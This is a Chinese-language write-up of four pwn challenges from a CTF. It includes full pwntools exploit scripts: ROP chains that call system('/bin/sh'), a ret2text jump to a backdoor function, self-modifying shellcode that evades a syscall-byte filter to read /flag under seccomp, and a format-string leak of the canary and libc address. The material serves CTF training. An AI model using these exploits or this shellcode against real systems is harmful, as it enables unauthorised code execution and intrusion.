奶龙杯 CTF Pwn 方向四道题目 WriteUp 汇总
字数 4485
更新时间 2026-10-25 15:11:14

奶龙杯 CTF Pwn 方向四道题目 WriteUp 汇总

一句话结论:四道 pwn,分别练的是「静态链接 ROP + 栈对齐」、「ret2text 后门函数」、「RWX 自修改代码绕 seccomp 的 ORW」,以及「格式化字符串泄露 Canary 与 Libc + 栈溢出 ROP」。本文逐题拆解保护、漏洞点、利用思路与完整脚本。

排版说明:为规避排版转义问题,所有脚本里的字符串统一用单引号书写,字节字面量(如 syscall 机器码 0x0f 0x05、换行)用可读形式描述,正文引用一律使用「」。

题目概述

  • 题目类型:Binary Exploitation(PWN / Static Link / ROP)
  • 解题关键:识别 rsync 干扰项 + 静态链接下的 ROP 链构造 + 64 位栈平坦化对齐(pop rdi ; pop rbp ; ret)。

保护与程序分析

  • Arch:amd64-64-little(x86-64)
  • Link Style:Statically linked(静态链接,所有 glibc 代码已直接嵌入二进制)
  • PIE:No PIE(0x400000 固定基址)
  • NX:enabled(栈不可执行)

IDA 反编译核心:

__int64 vulnerable()
{
  _BYTE v1[256];              // [rsp+0h] [rbp-100h]
  puts('Welcome to the archive terminal.');
  puts('Enter your access phrase:');
  read(0LL, v1, 512LL);       // 漏洞点:256 字节缓冲区却读 512 字节
  return puts('Access denied.');
}

v1 分配 256 字节(0x100),但 read 允许读 512(0x200),极其明显的栈溢出。覆盖至返回地址所需 Padding = 256(v1)+ 8(Saved RBP)= 264 字节(0x108)。

陷阱:rsync 干扰项(Red Herring)

题目看着设计了双阶段:

  1. 溢出跳转到 win(),运行 /challenge/start.sh 并启动 rsync 服务;
  2. 通过第二个端口连 rsync,利用 rsync 提取 Flag。

但 rsync 拿不到 Flag。看 start.sh 与 rsync.conf:

# start.sh
echo -n "INSERT_FLAG" > /flag
chown root:root /flag
chmod 400 /flag        # 仅 root 可读

# rsync.conf
[public]
   uid = 1000
   gid = 1000

原因:rsync 守护进程强制以普通用户(uid 1000)运行,而 /flag 被设为 400(仅 root 可读)。哪怕利用 use chroot = no 进行路径穿越,Linux 内核也会因权限不足拒绝 uid 1000 读取文件。突破点:第一阶段 PWN 进程是以最高权限上下文运行的,因此直接放弃 rsync,在第一阶段构造 ROP 链拿 Shell 才是真正解法。

利用逻辑

静态链接,程序内已嵌入完整 glibc 符号和字符串:

  • 字符串:strings 查到内置的 /bin/sh 地址 0x488599;
  • 函数:直接取 system 符号地址 0x405210;
  • Gadget:ROPgadget 检索到 0x402348 : pop rdi ; pop rbp ; ret。

64 位栈对齐推导:溢出 264 字节覆盖返回地址后,RSP 处于 0 mod 16 状态;执行 pop rdi ; pop rbp ; ret 时会连续从栈弹出 2 个 8 字节(共 16 字节),执行完毕跳转到 system 瞬间,RSP 刚好天然维持 16 字节对齐,因此无需插入额外的 ret gadget。

完整脚本

from pwn import *
context.arch = 'amd64'
context.os = 'linux'

p = remote('challenge.cyclens.tech', 30445)
pop_rdi_rbp = 0x402348
system_addr = 0x405210
bin_sh      = 0x488599

p.recvuntil(b'Enter your access phrase:')
payload  = b'a' * 264
payload += p64(pop_rdi_rbp)
payload += p64(bin_sh)     # rdi = /bin/sh
payload += p64(0)          # rbp
payload += p64(system_addr)
p.sendline(payload)
p.interactive()

运行后成功拿到交互式 Shell。

总结

  1. 防范迷局:遇到复杂多阶段设计(如 rsync/ftp)先检查权限链(uid vs file permissions),避免被非必要的第二阶段拖住。
  2. 静态链接技巧:静态 ELF 内部藏有丰富的汇编 Gadget 和字符串(如 /bin/sh),无需依赖 libc 泄露。
  3. 栈平坦化分析:64 位 ROP 链必须精确计算每个 pop 对 RSP 的影响,确保跳入 system 时满足 16 字节对齐。

第二题:ret2text

保护机制:开了 Canary 与 NX。IDA 反汇编看出存在栈溢出(写入 buf 的字节数超过容量),并且找到一个后门函数(admin_shell),综上这就是一道 ret2text。

最开始用「加 ret 对齐 + 跳后门」的脚本,本地能通但打远端不通。看日志这一行:

[DEBUG] Received 0x17 bytes:
    b'[-] signature rejected'

这是 signin() 函数最后一行的 return puts('[-] signature rejected') 打印出来的,说明 Payload 已成功写进缓冲区,程序正常执行完 puts、准备在函数返回(ret)时跳转。挂在后面的 Got EOF while reading in interactive,说明程序在跳转到 adminshell 或执行 system 的瞬间崩了。意思就是栈对齐的方式反了,加了 ret 反而打破了栈对齐,于是直接采窗 window 对齐的方式(win_addr + 1)去接:

from pwn import *
import time
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./ret2text')
win_addr = elf.sym['admin_shell']
rop = ROP(elf)
ret_gadget = rop.find_gadget(['ret'])[0]

def conn():
    if args.REMOTE:
        return remote('challenge.cyclens.tech', 31706)
    else:
        return process('./ret2text')

def exploit(io):
    io.recvuntil(b'Submit your signed access token.')
    # 直接跳 win_addr+1(修正对齐),而非加一个 ret gadget
    payload = b'b' * 56 + p64(win_addr + 1)
    io.sendline(payload)
    io.interactive()

if __name__ == '__main__':
    exploit(conn())

拿到 flag。这题的坑点在于:本地和远端的对齐表现不一致,不能生搬硬套「加 ret」的模板,要根据日志判断到底在哪一步崩的。

第三题:BabySandbox(Shellcode / Seccomp)

概述

  • 题目类型:Binary Exploitation(PWN / Shellcode / Seccomp)
  • 解题关键:RWX 内存利用 + 自修改代码(Self-Modifying Code)绕过 syscall 静态检测 + ORW(openat → read → write)沙箱绕过。

代码与漏洞分析

反编译 main 核心:

buf_2 = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);  // 分配 RWX 内存
...
v5 = read(0, buf, 0x100uLL);                            // 最多读 256 字节 shellcode
if ( v5 != 1 ) {
  do {
    if ( *buf_1 == 15 && buf_1[1] == 5 ) {              // 逐字节检查 0x0f 0x05
      puts('No syscall allowed in shellcode!');
      exit(1);
    }
    ++buf_1;
  } while ( buf_1 != &buf[v5 - 1] );
}
puts('Applying seccomp sandbox...');
init_sandbox();
((void (*)(void))buf)();                                // 跳转执行 shellcode

关键特点:

  1. RWX 权限:mmap 保护标记为 7(可读可写可执行),允许 shellcode 在运行阶段修改自身代码。
  2. 静态字节过滤:对输入机器码逐字节扫描,禁止出现连续的 0x0f 0x05(即 x86-64 的 syscall 机器码)。
  3. 沙箱限制:开启 seccomp 后直接执行 shellcode。

沙箱分析

用 seccomp-tools dump 获取规则:

0004: if (A == openat) goto 0009
0005: if (A == read)   goto 0009
0006: if (A == write)  goto 0009
0007: if (A == exit)   goto 0009
0008: return KILL
0009: return ALLOW

结论:沙箱仅允许 openat(257)、read(0)、write(1)、exit(60);传统的 execve 和 open 被禁用,需构造 ORW 链读取 /flag。

利用思路

1)绕过 0x0f 0x05 静态扫描(自修改代码)。因为写入的内存可写可执行,在汇编中先写入非 syscall 字节(如 .byte 0x0e, 0x05),并在该字节前插入一条指令:

inc byte ptr [rip]     ; 将紧随其后的 0x0e 加 1,变成 0x0f
.byte 0x0e, 0x05       ; 运行到此处时已被修正为 0x0f 0x05(即 syscall)

这样既能完美通过静态检测,也能在 CPU 执行到该位置时恢复为正确的 syscall。

2)构造 ORW 读取 Flag,依次三条系统调用:openat(AT_FDCWD, /flag, O_RDONLY, 0)(rax=257、rdi=-100、rsi 指向 /flag、rdx=0)→ read(fd, rsp, 0x100)(rax=0、rdi=上一步返回的 fd、rsi=rsp 借栈作缓冲)→ write(1, rsp, 0x100)(rax=1、rdi=1 stdout)。

完整脚本

#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

shellcode_asm = '''
#define SAFE_SYSCALL \-
    inc byte ptr [rip]; \-
    .byte 0x0e, 0x05

mov rax, 257
mov rdi, -100
lea rsi, [rip + flag_str]
xor rdx, rdx
xor r10, r10
SAFE_SYSCALL

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
SAFE_SYSCALL

mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, 1
SAFE_SYSCALL

flag_str:
    .string \'/flag\'
'''

payload = asm(shellcode_asm)
# 自检:若 payload 仍含连续的 0x0f 0x05 则报错,否则说明绕过成功
p = remote('challenge.cyclens.tech', 30800)
p.sendlineafter(b'max 0x100 bytes):', payload)
p.interactive()

拿到 flag:flag{4awqcpzt-fwul-4us-8y9a-qxzfzhoay3nxx}。

总结

  1. 本题考察在 RWX 权限条件下巧妙使用自修改代码的防检测技巧。
  2. 面对 seccomp 禁用 execve 和 open 的环境,灵活利用替代系统调用(如 openat)构造 ORW 链是解题核心。

第四题:ezpwn(格式化字符串 + 栈溢出 ROP)

概述

解题关键:格式化字符串漏洞(泄露 Canary 与 Libc)+ 栈溢出漏洞(ROP 劫持控制流)。

保护机制

  • Canary:开启(栈保护已启用,readfsqword(0x28u))
  • NX:开启(栈不可执行)
  • PIE:未开启 / 固定代码段加载基址
  • Arch:amd64(64-bit Linux)

漏洞分析

漏洞点 1:feedback() 中的格式化字符串漏洞。

unsigned __int64 feedback()
{
  char buf[40];
  read(0, buf, 0x1FuLL);     // 最多读 31 字节
  buf[31] = 0;
  printf('Your comment: ');
  printf(buf);               // 直接将用户输入作为 fmt 参数
}

程序把用户输入的 buf 直接作为 printf 的第一个参数,而没有用 printf('%s', buf)。由于输入字节数限制在 31 字节内,无法直接构造长 Payload 任意写入,但足以用 %x$p 泄露栈上敏感信息(Canary 与 Libc 返回地址)。

漏洞点 2:query() 中的栈溢出。

unsigned __int64 query()
{
  char buf[40];              // 实际分配仅 40 字节(0x28)
  read(0, buf, 0x100uLL);    // 却允许读最大 256 字节(0x100)
}

在已知 Canary 的前提下,可通过溢出填充 Canary,进而覆盖 Saved RBP 与返回地址,构造 ROP 链调用 system('/bin/sh')。

利用思路

1)确定格式化字符串偏移:输入 AAAA.%p.%p... 在 GDB 调试,确定输入缓冲区起始偏移为 %6\(p;buf 占 40 字节(5 个 8 字节单元),故 Canary 位于 %11\)p(6 + 5);继续定位栈深处的 Libc 返回地址位于 %17$p。

2)泄露地址与计算 Libc 基址:运行 Option 1(feedback),发送 %11\(p.%17\)p;解析得到 Canary 与 Libc Leak 地址;通过 GDB vmmap 计算相对偏移:libc_base = libc_leak - 0x2a1ca。

3)构造 ROP 链 Getshell:运行 Option 2(query),构造栈溢出 Payload:Padding(40 字节 A)+ Canary(8 字节泄露值)+ Saved RBP(8 字节 B)+ ret gadget(64 位 Ubuntu 栈对齐)+ pop rdi; ret + /bin/sh 地址 + system 地址。

完整脚本

from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = remote('challenge.cyclens.tech', 30554)

# 一阶段:格式化字符串泄露 Canary 与 Libc
p.sendlineafter(b'> ', b'1')
payload_leak = b'%11$p.%17$p'
p.sendlineafter(b'Leave a comment: ', payload_leak)
p.recvuntil(b'Your comment: ')
leak_data = p.recvline().strip().split(b'.')
canary = int(leak_data[0], 16)
libc_leak = int(leak_data[1], 16)
libc.address = libc_leak - 0x2a1ca

system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))   # 末尾带一个空字节
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]

# 二阶段:栈溢出 ROP getshell
p.sendlineafter(b'> ', b'2')
payload_bof  = b'A' * 40
payload_bof += p64(canary)
payload_bof += b'B' * 8
payload_bof += p64(ret_gadget)     # 16 字节栈对齐
payload_bof += p64(pop_rdi)
payload_bof += p64(bin_sh_addr)
payload_bof += p64(system_addr)
p.sendlineafter(b'Enter query: ', payload_bof)
p.interactive()

总结

本题是一道非常经典的「格式化字符串信息泄露 + 栈溢出 ROP」组合题。关键点在于先利用短小无污染的格式化字符串泄露出动态保护机制(Canary 和 ASLR 中的 Libc 地址);在构造 64 位 ROP 链时,注意 Ubuntu 系统下 glibc system 调用时的 16 字节栈对齐要求(通过额外添加 ret 指令解决)。

四题横向小结

题 核心考点 关键细节
复仇奶龙 静态链接 ROP 识破 rsync 干扰、pop rdi;pop rbp;ret 天然对齐
ret2text 后门函数直达 本地/远端对齐不一致,win_addr+1 修正
BabySandbox seccomp ORW RWX 自修改代码绕 0x0f 0x05 静态检测
ezpwn 格式化泄露 + ROP %11\(p 泄露 Canary、%17\)p 泄露 Libc

四题合起来恰好覆盖了入门到进阶的几个高频点:静态链接下不依赖 libc 泄露、栈对齐的两种解法(pop rbp 天然对齐与额外 ret)、seccomp 黑名单下的自修改代码 ORW、以及格式化字符串与溢出的两段式组合。

相似文章
相似文章
小程序二维码
 全屏